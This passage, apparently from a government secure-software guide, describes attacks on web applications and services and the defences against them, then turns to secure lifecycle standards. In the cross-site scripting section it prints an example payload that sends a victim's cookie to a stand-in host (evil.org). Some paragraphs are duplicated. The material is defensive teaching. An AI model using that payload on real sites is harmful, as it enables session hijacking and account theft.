Flooding attacks most often involve copying valid service requests and resending them to a producer/provider web service. In a manner resembling a network “ping of death” attack, the attacker can issue repetitive SOAP/XML messages in an attempt to overload the web service. This type of activity will not be detected as an intrusion because the source IP address will be valid, the network packet behavior will be valid, and the SOAP/XML message will be well-formed. However, the business behavior will not be legitimate and constitutes an DoS attack.

Techniques for detecting and handling DoS can be applied towards flooding attacks. In some ways, flooding attacks against web services are easier to detect than those against web applications, because web service payload information is more readily available. With the right tools, message traffic patterns indicating possible DoS attacks can be detected even when the same or similar payload is being sent via multiple communications protocols, e.g., HTTP, HTTPS, SMTP (Simple Mail Transfer Protocol), or across different physical or logical interfaces.

C.5.2. Recursive Payloads Sent to XML Parsers

[web services only]

One of the strengths of XML is its ability to nest elements within a document to address the need for complex relationships among elements. XML is valuable for forms that have a form name or purpose that contains many different value elements, such as a purchase order that incorporates shipping and billing addresses as well as various items and quantities ordered. We can intuitively acknowledge the value of nesting elements three or four levels, perhaps more. An attacker can easily create a document that attempts to stress and break an XML parser by creating a document that is 10,000 or 100,000 elements deep.

One of the strengths of XML is its ability to nest elements within a document to address the need for complex relationships among elements. XML is valuable for forms that have a form name or purpose that contains many different value elements, such as a purchase order that incorporates shipping and billing addresses as well as various items and quantities ordered. We can intuitively acknowledge the value of nesting elements three or four levels, perhaps more. An attacker can easily create a document that attempts to stress and break an XML parser by creating a document that is 10,000 or 100,000 elements deep.
C.5.3. Oversized Payloads Sent to XML Parsers

[web services only]

XML is verbose by design in its markup of existing data and information, so file size must always be considered. While an enterprise’s programmers and analysts will work to limit the size of a document, there are a number of reasons to have XML documents that are hundreds of megabytes or gigabytes in size. Sometimes this is a function of converting a batch file transfer process into realtime. It may also be anticipated in the multimedia (e.g. digital video) world where gigabyte files are the norm. Or, it could be an attacker again exercising the parser to execute a DoS attack. Parsers based on the Document Object Model (DOM) are especially susceptible to this attack given its need to model the entire document in memory prior to parsing. Coercive parsing, discussed above, is an example of sending an oversized payload.

C.5.4. Schema Poisoning

[web services only]

DoS attacks against the grammar of an XML file easily achieved if the XML schema is compromised. Similarly, such attacks can be used to manipulate data if the data types described in the schema are also compromised, e.g., by changing dates to integers when the web service is performing arithmetic operations, or by modifying the data encoding to enable obfuscation of data that will eventually reach the XML parser and be reformed into attack code, similar to the way a Unicode attack traverses directories via web servers.

XML documents need to conform to the protocols and specifications governing their use. It is common for attackers to attempt to manipulate documents contrary to those rules in order conduct a DoS attack or compromise external sources. For example, aperfectly formed XML document may be inappropriate and undesirable to a specific web service if it contains policy violations such as excessive size, inclusion of inappropriate or unexpected values, or data dependencies within the content. WSDL files and schemas may be enumerated or spoofed with similar objectives.

C.5.5. Buffer Overflow Exploits

Buffer overflow exploits are targeted at web application and web service components (most often those written in C or C++) that accept data as input and store it in memory (rather than on disk) for later use or manipulation. An overflow of a memory buffer results when the web application or service component fails to adequately check the size of the input data to ensure that it is not larger than the memory buffer allocated to receive it, and instead passes the too-large data into the too-small buffer. The result is that the excess data is written into other areas of memory that are not prepared to receive it. Buffer overflows are particularly dangerous when those other areas of memory are allocated to store executable code rather than passive data; for example, a buffer overflow of data onto the web service program’s execution stack.

If the oversized data “payload” input to the web application/service component includes embedded spurious commands/malicious code, the buffer overflow may result in a loading of the malicious code into the service’s execution stack. The stack will then execute the malicious code instead of the valid application/service code that was displaced from the stack by the buffer overflow. Spurious commands planted in this way are usually designed to grant privileges to the malicious code that exceed the service program’s authorized permissions (possibly even granting administrator-level or “root” level permissions), thus granting the attack code—and through it, the attacker—access to data and control of resources and processes that would never have been granted to the displaced service code. However, some buffer overflow attacks have a much simpler objective: they are designed to crash the service or suspend its execution, i.e., to achieve a DoS.

There are four basic approaches to defending against buffer overflow vulnerabilities and attacks. Associated tools were discussed in Section 6.2.
1. **“Safe” programming:** Write all web application and web service code in languages that automatically perform input validation, such as Java and C#, or if writing in C or C++, ensure that all expected input lengths and formats are explicitly specified, and that all inputs received are validated to ensure that they do not exceed those lengths or violate those formats; error and exception handling should be expressly programmed to reject or truncate any inputs that violate the allowable input lengths/formats;

2. **Memory allocation countermeasures:** By allocating only non-executable storage areas for input buffers, any attack code embedded in oversized inputs will not be inadvertently executed. This approach can be used to stop those buffer overflow attacks that have the objective of executing malicious code, but will not counteract buffer overflow DoS attacks;

3. **Compiler-based countermeasures:** Several leading C and C++ compilers include StackGuard and/or other anti-overflow countermeasures that ensure that source code has array bounds checks performed at compile time on all array accesses. This method completely eliminates the buffer overflow problem by making overflows impossible, but imposes substantial overhead on the compilation process. Other compile-time countermeasures perform integrity checks on code pointers to buffers before dereferencing those pointers. This technique does not make buffer overflows impossible, but it does stop the majority buffer overflow attacks, and makes the attacks that it cannot stop are difficult to achieve. These countermeasures have significant compatibility and performance advantages over compiler array bounds checking.

4. **Library-based countermeasures:** “Safe” libraries that replace, at link time, commonly used but overflow-prone standard C and C++ functions are available, as are filtering/wrapping mechanisms for adding “safe” logic (bounds definition and checking logic) to otherwise overflow-prone functions. Libsafe is the best known example of an anti-overflow library-based countermeasure.

---

**C.5.6. Race Conditions**

Race conditions most often arise when multiple processes simultaneously attempt to access a shared resource (such as a file or variable) and these multiple access attempts have not been anticipated by the developer, i.e., the appropriate controls and checks to avoid such conflicts have not been implemented. Race conditions can be intentionally triggered by an attacker who uses the web service in a way that causes it to spawn a large number of multiple processes that attempt to access the same file.

In object-oriented programming it is very important to verify within the program code that race conditions are minimized; this is done by not sharing common variables among object instances. Instead the developer allocates a unique variable for each object instance. When global variables are used they should be general values that cannot be changed by individual subroutines or functions; instead, the values are passed via references and stored in local variables. For each file access, the program is written to verify that the file is free before opening it, and also includes logic for checking for and handling object-in-use errors. If the web service accesses a database, it does so using appropriate transaction-oriented code.

---

**C.5.7. Symlink Attacks**

Symbolic links (symlinks) are links on Unix and Linux systems that point from one file to another file. An attacker with no rights to access a certain file can exploit a symlink vulnerability by making a symbolic link from a file to which he/she does have access to a file to which he/she does not have access. The objective of the symlink attack is to trick an application or web service program that has access rights to a given file into acting as a de facto proxy on the attacker’s behalf by operating on (modifying or deleting) a file on which the program would not otherwise operate. Symlink attacks are often coupled with timing (race condition) attacks. Symlinks do not exist on the Windows systems, so symlink attacks cannot be performed against programs/files on those systems.
C.5.8. Memory Leak Exploitation

Memory leaks occur when a program dynamically allocates memory space for an object, array, or variable of some other type, but fails to free up the space before the program finishes executing. Repeated over time, memory leaks can cause the program to allocate all available memory (physical memory and paging file space), with the result that all software processes on the allocating program’s host suspend operation until the allocating program releases the memory. Memory leaks can be exploited by attackers by inserting malicious code that is written to hog memory resources and cause DoS.

Memory leaks are most common in programs that allocate arrays and variable data types. It is important to write programs that always deallocate local arrays before terminating execution of subroutines. Global arrays should be deallocated whenever they are not being used. Some widgets, such as Data Access Object (DAO) components and computing grid components, may include memory leaks if their properties are not handled correctly. Memory leaks provide an easy entry point for buffer overflow attacks.

C.6. Command Injection

In a command injection executable logic is inserted in non-executable text strings submitted to a web server or provider/producer web service. The main types of command injection are Structured Query Language (SQL) injection targeting web-enabled or web service-enabled database applications, and XML injection targeting web applications and web services. Common command injection attacks are described below.

C.6.1. Structured Query Language (SQL) Injection

SQL injection is a technique used for manipulating web applications or services that send SQL queries to a Relational Database Management System (RDBMS) to alter, insert, or delete data in a database. RDBMSs communicate with web applications/services via application-layer interface logic that creates a communication channel between the “frontend” web application or web service and the “backend” RDBMS.

The main vulnerability that enables web/web service-enabled RDBMSs to be attacked in this way is the common practice of configuring the backend RDBMS to accept and execute any valid SQL query received from any user (including a web server or web service “frontend”) that has the necessary access privileges. The attacker co-opts the valid authenticated interface from the frontend web application or web service to the backend RDBMS. Such an attack does require the attacker to have fairly deep knowledge of how the web-enabling or web service-enabling of the database application was implemented.

SQL injection attacks are most effectively prevented by applying thorough application-layer countermeasures, such as web application firewalls, and better yet, by explicitly designing and implementing the web service logic added to legacy database applications to resist/reject all input that contains SQL injection attack patterns. Network-level firewalls and intrusion detection systems, and database security controls, have not proved effective in defending against SQL injection attacks.

The main modes of SQL injection are:

1. **Data manipulation:** The attacker intercepts and manipulates the data sent from a web application or service to the RDBMS, most often in order to bypass the RDBMS’s authentication process. For example, the attacker may modify an intercepted SQL statement by adding elements to the `WHERE` clause of the web application’s or service’s authentication statement so the `WHERE` clause always results in `TRUE`, or by extending the SQL statement to include set operators like `UNION`, `INTERSECT`, or `MINUS`. Another method involves manipulating or executing `UPDATE`, `INSERT`, `DELETE`, or `DROP` statements in order to alter information to exceed the privileges granted to the originating service.
2. **Command execution**: The attacker uses the RDBMS to execute SQL-specific system-level commands; such attacks are either code injection attacks or function call injection attacks.

In a code injection attack, the attacker inserts new SQL statements or database commands into an intercepted SQL statement; for example, to append a Microsoft SQLServer *EXECUTE* command to the intercepted SQL statement. Code injections are most often successful when targeting databases that allow multiple SQL statements to be appended to a single database request. SQL Server and PostgreSQL are both vulnerable to this type of multi-statement attack, and the SQLServer *EXECUTE* statement is the most frequent target of SQL injections. Because there is no corresponding statement in Oracle SQL, nor do web service-enabled Oracle database applications implemented in PL/SQL (Procedural Language/SQL) or Java database support multiple SQL statements per request, Oracle databases are not subject to this particular attack. However, PL/SQL- and Java-based Oracle database applications can dynamically execute anonymous PL/SQL blocks, and such blocks *are* vulnerable to code injection.

Unlike code injection attacks, function call SQL injection attacks do not require the attacker to have deep knowledge of the targeted application, and thus can be easily automated. The attacker inserts database functions or customized functions into the intercepted SQL statement in order to make operating system calls or to manipulate data in the database. A subject of function call injection attacks is SQL injection of buffer overflows. Several commercial and open source databases have been reported to contain buffer overflow vulnerabilities in some of their database functions, which enable over-long SQL inputs to overflow the memory buffers used by those functions. Patches for all known RDBMS vulnerabilities should be downloaded and applied to production databases regularly.

Oracle specifically allows individual functions and packages of functions to be executed as part of a single SQL statement. Oracle supplies over 1,000 default functions in about 175 standard database packages. Some of these functions perform network activities, and are the most easily exploited. Any custom function or function residing in a custom package may also be executed in a SQL statement. Functions executed as part of a SQL *SELECT* statement, however, cannot make changes to the database unless the function is marked as “PRAGMA TRANSACTION”.

None of the standard Oracle functions are executed as autonomous transactions. However, functions executed in *INSERT*, *UPDATE*, or *DELETE* statements can be used to modify data in the database. Via standard Oracle functions, an attacker can also route information from the database to a remote computer. Many native Oracle applications leverage database packages, which can be exploited by an attacker. These customized packages may include functions to change passwords or perform other sensitive transactions.

Dynamically-generated SQL statements, which are commonly used in web-enabled and web service-enabled database applications, are particularly vulnerable to function call injection attacks. For example, a dynamic SQL statement used to request a page on a SOA portal could be manipulated to insert other SQL functions in the URL/URI pointing to that portal page, such as functions that retrieve information from the database and sends it to the portal via the database application’s web server or web service frontend that interfaces with the portal. Because most Oracle database servers are deployed behind a firewall, this form of SQL injection can also be used to attack other hosts and applications on the internal network. As noted earlier, custom functions and functions in custom packages can also be executed in this way.

### C.6.2. XML Injection

[web services only]

XML injection can occur when user input is passed directly into an XML document or stream—similar to cross-site scripting or SQL injection. XML injection is often used to manipulate XPath queries in order to gain access to
information in XML content that would otherwise be inaccessible to the attacker. XML injection may also target XQuery queries and eXtended Access Control Markup Language (XACML) messages. Because XQuery is a successor to SQL, XML injections against XQuery can achieve objectives similar to those of SQL injection attacks. XML injections targeting XACML may allow the attacker to gain unauthorized access to other portions of the web service (or its host) or modify the web service’s security policies. XML injection may also allow the attacker to perform the equivalent of a cross-site scripting attack, in which consumers of a valid web service have their requests transparently rerouted to an attacker-controlled web service.

C.7. Client-Side Manipulation

[web applications only]

To speed up connectivity and reduce performance loads on the server, many commercial web applications implement input validation and data manipulations on the client rather than the server—despite the fact that the client is inherently untrustworthy. Because clients are so vulnerable, and due to the inadequacy of their host access controls and the tendency of their users to tamper with their browser configurations, it is often possible for attackers to gain access to individual clients and bypass or corrupt the validation checking to supply incorrect data or data formats to the server. Such client-side attacks can be used to initiate any of the other common attacks described here or to reveal confidential information or web server functionality. This method is also a popular means of conducting fraudulent transactions on ecommerce web sites by changing the prices associated with products being sold.

C.8. Malicious Code Attacks

NOTE: This discussion focuses mainly on malicious code attacks against web services in deployment. Countermeasures against malicious code that are implemented during the application’s development process were discussed in Sections 5.1.3.6 and 5.1.7.1.2.

Malicious code comes in the form of bytecode, executable code, or runtime-interpretable source code that is either embedded, via insertion or modification, within a deployed web application or service, or to invalid applications or services to which a user or consumer service request is redirected when it attempts to access a valid web page or web service. In both cases, the objective is to replace or augment the service’s valid logic with malicious code that intentionally subverts or prevents the service’s intended operation.

Table C-1 lists the variety of malicious code attacks that can be perpetrated against web applications and web services. Note, however, that the distinctions between malicious code types are becoming blurred, making classification of malicious code increasingly difficult.
### Table C-1. Types of Malicious Code Attacks Against Web Applications and Web Services

<table>
<thead>
<tr>
<th>Malcode Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Virus</td>
<td>Malicious program that attaches itself to web service programs, modifies them, then propagates when the infected program is executed. Examples of viruses include: Boot infectors, system infectors, .COM or .EXE infectors, compression viruses, stealth viruses, multipartite viruses, self-garbling viruses, polymorphic viruses, and micro viruses.</td>
</tr>
<tr>
<td>Worm</td>
<td>Malicious that propagates itself over a network without the help of a human user, and which is self-contained.</td>
</tr>
<tr>
<td>Trojan Horse</td>
<td>Malicious program that appears to do something non-malicious while launching a separate background process to perform malicious functions under the privileges of a valid service.</td>
</tr>
<tr>
<td>Rabbit</td>
<td>A worm or virus that reproduces itself without restraint in order to exhaust resources (i.e., to cause a DoS).</td>
</tr>
<tr>
<td>Logic Bomb</td>
<td>Malicious logic inserted into a deployed web service in order to perform an unwanted action when a specific criterion is met (e.g., at a particular time, or when a rigging action is performed)</td>
</tr>
<tr>
<td>Trapdoor/Backdoor</td>
<td>Undocumented command or feature that allows knowledgeable perpetrators to access the web service host</td>
</tr>
<tr>
<td>Attack Scripts</td>
<td>Malicious programs that exploit known vulnerabilities in commercial or open source web service hosts, middleware, etc., usually across the network, in order to carry out an attack. The most commonly encountered variety of attack script is that which exploits known buffer overflow vulnerabilities in order to “smash the stack.”</td>
</tr>
<tr>
<td>Java Attack Applets</td>
<td>Malicious programs embedded in web pages can be used to achieve a foothold through a Web browser. Java applets run in a strict sandbox; in some cases these permissions are enough for the attacker. However, signed applets are allowed to run outside of the sandbox, but untrusted applets can be forced to run within the sandbox. Java also provides mechanisms to further restrict the abilities of all applets-including signed applets.</td>
</tr>
<tr>
<td>ActiveX Controls</td>
<td>Similar to Java applets, ActiveX controls can be used to achieve a foothold through a browser. Unlike applets, ActiveX controls do not run within a sandbox. When an ActiveX control is allowed to run on a client system (either as a signed control or accepted by the user), it has full control over the Win32 API and these permissions can be exploited by a malicious control. While ActiveX controls have the same security concerns as signed Java applets, there is no way to restrict a control once it is activated.</td>
</tr>
</tbody>
</table>

Malicious code attacks are most often achieved by including executable commands in what is expected to be non-executable input. In some cases, these commands provide pointers (links) to locations at which malicious code resides and from which, as soon as the location is accessed, it will be automatically downloaded to the targeted system. The following sections describe specific malicious code “delivery mechanisms” (attacks).

#### C.8.1. URL String Attack

Traditional URL string attacks in web applications involve manipulating name and value pairs in the URL string submitted to a web server by a client; the objective is to get the web server to return more information than the client’s user is privileged to view. A web service adaptation of this attack strategy is used to circumvent the rules on SOAP parameters, for example by submitting a UDDI request that contains an integer that falls outside of the range of expected values.
C.8.2. Parameter Tampering

Web applications often take parameters as a part of the URL/URI sent by the browser. The attack on URL/URI parameters is the easiest tampering attack, as any user can click on their browser’s address bar and type in new parameters. Parameters used in URLs/URIs, HTTP headers, and forms are often used to control and validate access to sensitive information. For example, in a purchase order application, an attacker can manipulate the values of parameters stored on his client during the purchase session to alter the application’s common workflow. This can lead to:

- An attacker misleading a client into reaching the order stage and then changing his order details, having the purchase reach the attacker’s address instead of the rightful owner’s address.
- Changing the purchase quantity, thus resulting in a purchase whose totals sum is negative.
- Changing the “sale” parameter, thus causing a product to be sold at a price lower than its listed price.
- Changing the name of the active user while contacting the site’s administrator, thus being able to impersonate another user, and acting on his behalf.

Web services often use parameters conveyed to them that contain client-specific information, in order to execute a specific remote operation on behalf of that client. Since instructions on how to use parameters are explicitly described within a WSDL document, malicious users can provide different parameter options in order to retrieve unauthorized information.

For example, a submission of special characters or unexpected content to the web service can cause a denial of service condition or inappropriate access to database records. Furthermore, an attacker can embed command line code into a document so that the application that parses the document will create a command shell to execute the command. One instance of this problem is exemplified by Georgi Guninski’s much-publicized attack against Microsoft Excel, in which an XML document is formatted to pass an arbitrary command to the operating system. The format and data contained in the XML must conform to the schema. If it does not, the document should not be used. The comments on entering in command line code into a document are the same problems that arise with web Applications and URL/URK spoofing. Running as a special user that only has access to run commands within its own directory and only its directory should protect the underlying application server. This is why applications should never be assigned to a role that has “root” privileges.

C.8.3. Cross-Site Scripting

Cross-site scripting occurs when a user follows a malicious URL/URI pointing to the (innocent but poorly configured) target site, the target site unknowingly embeds script from the URL/URI into its HTML/XHTML response (not filtering user input properly), the target site serves the HTML or XHTML containing an embedded script to the user, and the user’s browser receives and executes the script. Because the script comes from the target site, it is trusted by the user’s browser and executed as though it came from the target site. Several CGI vulnerability scanners include tests for known cross-site scripting weaknesses. For custom CGIs, potentially malicious data should be purged from user input before sending that input back to the browser in HTML or XHTML form.

Web applications written in HTML, XHTML, or XML are particularly vulnerable to this kind of attack. Cross-site scripting can be used on a hostile server to link users to the server by providing them with a link that contains a corrupted form. It can also be used to fool users into thinking that a hostile script originated from a trusted server. Cross-site scripting is a threat even when the data source and destination are both under the control of the same user. Attackers might use the HTML tags to insert scripts, Java references to hostile applets, dynamic HTML
(DHTML) tags, early document endings (via </HTML>), irrational font size requests, and so forth, in the input
before it reaches its destination. The unsuspecting recipient’s browser then executes the malicious embedded code
or links to the malicious location with potentially damaging results to the user’s system. By causing the victim’s
browser to execute injected code under the permissions granted to the web application domain, an attacker can
bypass the application’s security restrictions, which can result not only in cookie theft but account hijacking,
changing of web application account settings, spreading of an email worm, etc. Note that the access that an
intruder has to the application is dependent on the security architecture of the language chosen by the attacker.
Specifically, Java applets do not provide the attacker with any access beyond the sandbox enforced by the JVM.

The most common web components that fall victim to cross-site scripting vulnerabilities include CGI scripts,
search engines, interactive bulletin boards, and custom error pages with poorly written input validation routines.
Additionally, a victim doesn’t necessarily have to click on a link; cross-site scripting code can also be made to
occur automatically in an HTML or XHTML email with certain manipulations of the <IMG> or <FRAME>
markup tags.

As noted in Section C.6.2, an attacker may use XML injection to perform the equivalent of a cross-site scripting
attack, in which consumers of a valid web service have their requests transparently rerouted to an attacker-
controlled web service, most often one that performs malicious operations. UDDI references may be
compromised through cross-site scripting, resulting in a reference to a malicious program instead of a valid web
service.

Potential damages resulting from cross-site scripting attacks include:

1. Exposure of SSL-encrypted connections;
2. Access to restricted web sites via the attacked browser;
3. Violation of domain security policies;
4. Rendering web page or web portal content returned by the attacked service unreadable or difficult to use,
defacement of portal pages, addition to portal pages of annoying banners, popup windows, animations,
offensive material; insertion on browsers connecting to those pages of spyware, malicious code,
etc.; violations of user privacy (e.g., by inserting a web routine that monitors who accesses a certain portal
page, or by embedding malicious <FORM> tags in data input forms, then modifying the form to trick the
user into revealing sensitive information);
5. Violations of privacy (e.g., by inserting a web routine that monitors exactly who accesses a certain page,
or by embedding malicious <FORM> tags in data input forms, then modifying the form to trick the user
into revealing sensitive information);
6. Causing DoS attacks (e.g., by continuously creating new browser Windows);
7. Targeting specific vulnerabilities in scripting languages;
8. Causing buffer overflows.

In web applications, the most popular (and destructive) cross-site scripting attack is the harvesting of
authentication cookies and session management tokens. With this information, it is often a trivial exercise for an
attacker to hijack the victim’s active session, completely bypassing the authentication process. Unfortunately, the
mechanism of the attack is very simple and can be easily automated, as the following example illustrates:

1. The attacker investigates an interesting site that normal users must authenticate to for access and tracks
the authenticated user through the use of cookies or session identifiers.
2. The attacker finds a cross-site scripting vulnerable page on the site, for instance:

   http://trusted.org/account.asp.

3. Using social engineering, the attacker creates a special link to the site and embeds it in an HTML email that he sends to a long list of potential victims.

4. Embedded within the special link are some coding elements specially designed to transmit a copy of the victim’s cookie back to the attacker. For example:

   <img src="http://trusted.org/account.asp?ak=<script>
document.location.replace('http://evil.org/steal.cgi?'+
document.cookie);</script">

5. Unbeknownst to the victim, the attacker has received a copy of the victim’s cookie information.

6. The attacker then visits the web site and, by substituting his own cookie information with that of the victim, is now perceived to be the victim by the server application.

C.8.4. Session Hijacking

Session hijacking, described in Section C.3.2 as an attack on confidentiality, can also be used as a vector for injecting malicious code.

C.8.5. Malformed Content

This type of attack attempts to exploit the targeted web application or service by discovering backdoors in its host platform. Many attackers attempt to elevate their privilege levels to incur further damage or gain further data from the service.

In web applications, sending incorrectly formatted or otherwise invalid content such as quotation marks, open parentheses, and wildcards, can produce an effect similar to a buffer overflow attack in a web application that does not include adequate input validation and exception handling. In web services, malformed content attacks include inserting incorrectly formatted or otherwise invalid content into SOAP messages or their XML payloads destined for a web service that does not perform input validation or adequate exception handling. Tampering with XML data and SOAP messages in transit can produce malformed content that is transmitted between services.

C.8.6. Bypassing Intermediate Forms in Multiple-Form Sets

[web applications only]

Because HTTP is stateless, it may not be possible to guarantee that pages are accessed in a predetermined order. User can guess and type in the address of another page. This poses a problem in a multiple-form set if the latter forms rely on the input given in preceding forms. This may lead to problems in the functionality of the web application itself or a compromise of the underlying platform, typically through a buffer overflow attack.

C.8.7. Logic Bombs, Trapdoors, and Backdoors

A logic bomb is malicious code that is left dormant until the web service reaches a certain state, at which point the malicious code is executed. A trapdoor or backdoor is malicious code that has the specific objective of enabling the attacker (or the web service that acts as a proxy service on the attacker’s behalf) to bypass the targeted web service’s (and/or its host’s) authentication mechanisms in order to gain access to sensitive data or resources, without being detected. Logic bombs, trapdoors, and backdoors are usually delivered as Trojan horses via another
attack vector such as a virus or worm payload or planted by an attacker who has gained the necessary level of 
write-access to the web service host.

Note, however, that most logic bombs, backdoors, and trapdoors are planted by the developer of the web service 
that contains them. Unlike external attackers, developers can exploit their deep knowledge of how a particular 
web service’s host will be configured in deployment, and how its system-, middleware-, and application-level 
components will interact. The threat of “planted” malicious code becomes increasingly prominent as more and 
more of the components from which web services are constructed are acquired rather than built from scratch, by 
overseas development organizations who may be under the influence or control of terrorist organizations or 
adversarial governments.

C.9 Spyware

[web applications only]

Spyware, like malicious code, is code that is added, changed, or removed from a software system. However, the 
goal of spyware is not to harm or subvert the 
system’s function; instead, spyware monitors selected system activities and reports them to a remote entity. The 
AntiSpyware Coalition defines spyware as “technologies deployed without appropriate user consent and/or 
implemented in ways that impair user control over: material changes that affect their user experience, privacy, or 
system security; use of their system resources, including what programs are installed on their computers; and/or 
collection, use, and distribution of their personal or other sensitive information.” While at first, spyware appears 
to be a minimal threat, it is important to consider that all spyware utilizes system resources and many spyware are 
implemented poorly and have security vulnerabilities that may provide attackers with another avenue of attack. 
Table C-2 outlines the various types of spyware.
### Table C-2. Categories of Spyware

<table>
<thead>
<tr>
<th>Common Name</th>
<th>Underlying Technology</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>Snoopware</td>
<td>Tracking software</td>
<td>- Monitor user behavior&lt;br&gt;- Gather information about the user</td>
</tr>
<tr>
<td>Unauthorized keylogger</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Unauthorized screenscraper</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Nuisance or harmful adware</td>
<td>Advertising display software</td>
<td>- Any program that displays advertising</td>
</tr>
<tr>
<td>Backdoors</td>
<td>Remote control software</td>
<td>- Used to allow remote access or control of systems</td>
</tr>
<tr>
<td>Botnets</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Droneware</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Unauthorized dialers</td>
<td>Dialing software</td>
<td>- Use the system to make calls or access services through a modem.</td>
</tr>
<tr>
<td>Hijackers</td>
<td>System modifying software</td>
<td>- Used to modify the system and change user experience</td>
</tr>
<tr>
<td>Rootkits</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Hacker Tools</td>
<td>Security analysis software</td>
<td>- Used to analyze or circumvent security protections</td>
</tr>
<tr>
<td>Tricklers</td>
<td>Automatic download software</td>
<td>- Used to download and install software</td>
</tr>
<tr>
<td>Unauthorized Tracking Cookies</td>
<td>Passive tracking technology</td>
<td>- Used to gather limited information about user activities without installing software</td>
</tr>
</tbody>
</table>

**SOURCE:** AntiSpyware Coalition Working Report Oct 27, 2005 (see Appendix B)

Most spyware affects user privacy by allowing remote systems to control the user’s computer by hijacking the system or forcing the system to display advertisements at specified times. In particular, screen scrapers and keyloggers adversely affect users as they send detailed login and account information that the user provided to various web sites—allowing those who receive the information to impersonate the user.

The most common examples of spyware are found in freeware software programs, such as browser plug-ins available on the Internet that enhance the user’s browsing experience in a desirable way, such as filling in web forms automatically, providing a search box in the toolbar, or adding aesthetics to the user’s experience; in addition to providing a service to the user, these plug-ins monitor the user’s browsing experience so that marketing companies may “pop-up” ads or tailor web sites to provide targeted ads to the user.

On the surface, spyware seems innocent—but the end result is a data stream leaving the computer’s system that provides details of the user and the system that the user cannot control. Often, this information is uniquely identifiable. In particular, spyware can be designed to monitor the activities of rival organizations and gain control of—or subvert—software being developed or server being hosted by a rival organization. To stem the spyware threat, many organizations provide tools to automatically detect and remove spyware found on a user’s system. However, to truly prevent the spyware threat, users need to be educated to understand that only software from trusted sources should be downloaded and installed onto their systems.
APPENDIX D. OTHER EFFORTS TO DEFINE
SECURITY-ENHANCED LIFECYCLE PROCESSES

D.1. National Cyber Security Taskforce Processes to Produce Secure Software

In March 2004, the National Cyber Security Taskforce (NCST) produced a report entitled Processes to Produce Secure Software: Towards More Secure Software (see Appendix B). This report was intended to provide a set of recommendations to the DHS for activities to be undertaken in the context of their Software Assurance initiative. However, much of the information in the report is widely applicable. Of most relevance for our purposes are three areas of the report:

1. A set of generic requirements for any development process to be able to produce secure software;
2. A set of recommended technical and management practices, intended to aid in security-enhancing of software development-related engineering and management processes;
3. A methodology for evaluating and qualifying existing software engineering and development lifecycle processes and practices to determine the extent to which they encourage or assist in the production of secure software.

The report also includes a discussion on required organizational changes, and provides information on the applicability to the secure software development problem of the SEI’s Team Software Process (TSP) and Cleanroom Software Engineering process (see Appendix B). Like the majority of lifecycle processes, the main objective of TSP and Cleanroom is improved software quality. Neither process is inherently security-enhancing, however, though SEI and others have published articles on the security benefits of using these processes “as is”. Many of these articles can be found on the BuildSecurityIn portal or on SEI’s website (see Appendix B).

D.2. Emerging ISO/IEC 15026 Software Assurance Process

SubCommittee (SC) 7 of the Joint Technical Committee (JTC) 1/ Subcommittee (SC) 7 of the International Organization for Standardization (ISO) and the International Electrotechnical Commission (IEC) has initiated a project to define a software assurance process, ISO/IEC 15026 that can be used to augment the standard systems engineering and software engineering processes defined in ISO/IEC 12207 and ISO/IEC 15288. Specifically, ISO/IEC 15026 will describe three core processes for planning, establishing, and validating assurance cases for software-based systems, in order to establish of the necessary level of assurance of software developed via ISO/IEC-compliant engineering lifecycle processes.

The ISO/IEC 15026 draft standard is still being defined, and the processes that make up ISO/IEC 12207 and 15288 are being harmonized in order to define a single ISO/IEC compliant engineering process for software-based systems. When these efforts are completed, the combination of these and other designated ISO/IEC standards will be able to be used to define a secure software development lifecycle process. For further information on ISO/IEC 15026, 12207, and 15288, see the resources in Appendix B.

D.3. Proposed Safety and Security Extensions to CMMI/iCMM

The Safety and Security Extension Project Team established by the FAA and the DoD produced the draft report Safety and Security Extensions to Integrated Capability Maturity Models (September 2004) (see Appendix B) defining a safety and security application area to be used in combination with the SEI’s CMMI or the FAA’s iCMM to achieve process improvements in the areas of safety and security of software produced by CMMI or iCMM-guided software development lifecycle processes.
The Safety and Security Practice Area (PA) Extension is intended to implement practices within the relevant PAs of the iCMM and CMMI. The practices defined are derived from existing Defense (U.S. DoD and UK Ministry of Defence), NIST, and ISO/IEC security and safety standards. The methodology used to map these practices to the appropriate iCMM or CMMI PAs requires, in some cases, the adoption of iCMM PAs into the CMMI, when no comparable CMMI PA exists or the existing PA is not sufficient to achieve the accommodate the recommended safety or security practices. Table D-1 maps the iCMM and CMMI PAs to the Safety and Security Application Area (S&S AA) practices recommended by the international team draft report. The report goes on to provide extensive information on the activities, typical work products associated with each AA, and provides recommended best practices for achieving the objectives of each AA as it is integrated with the iCMM or CMMI process of the organization.

New activities added to CMMs were derived from several sources, including ISO/IEC 21827:SSE-CMM and ISO/IEC 17799:Code of Practices for Information Security Management. 16 of the activities in the Proposed Safety and Security Extensions document have, in turn, been integrated into the revision of ISO/IEC 15026.
<table>
<thead>
<tr>
<th>iCMM PA</th>
<th>CMMI PA</th>
<th>S&amp;S AA Practice</th>
</tr>
</thead>
<tbody>
<tr>
<td>PA 22: Training</td>
<td>Organizational Training</td>
<td>AP01.01: Ensure S&amp;S Competency</td>
</tr>
<tr>
<td>PA 19: Work Environment</td>
<td>Work Environment</td>
<td>AP01.01: Ensure S&amp;S Competency&lt;br&gt;AP01.02: Establish Qualified Work Environment&lt;br&gt;AP01.05: Ensure Business Continuity&lt;br&gt;AP01.11: Objectively Evaluate Products</td>
</tr>
<tr>
<td>PA 17: Information Management</td>
<td>(add iCMM PA 17 to CMMI)</td>
<td>AP01.03: Control Information&lt;br&gt;AP01.12: Establish S&amp;S Assurance Argument</td>
</tr>
<tr>
<td>PA 10: Operation and Support</td>
<td>(add iCMM PA 10 to CMMI)</td>
<td>AP01.04: Monitor Operations and Report Incidents&lt;br&gt;AP01.10: Develop and Deploy Safe and Secure Products and Services</td>
</tr>
<tr>
<td>PA 13: Risk Management</td>
<td>Risk Management</td>
<td>AP01.05: Ensure Business Continuity&lt;br&gt;AP01.06: Identify S&amp;S Risks&lt;br&gt;AP01.07: Analyze and Prioritize Risks&lt;br&gt;AP 01.08: Determine, Implement, and Monitor Risk Mitigation Plan&lt;br&gt;AP01.14: Establish a S&amp;S Plan</td>
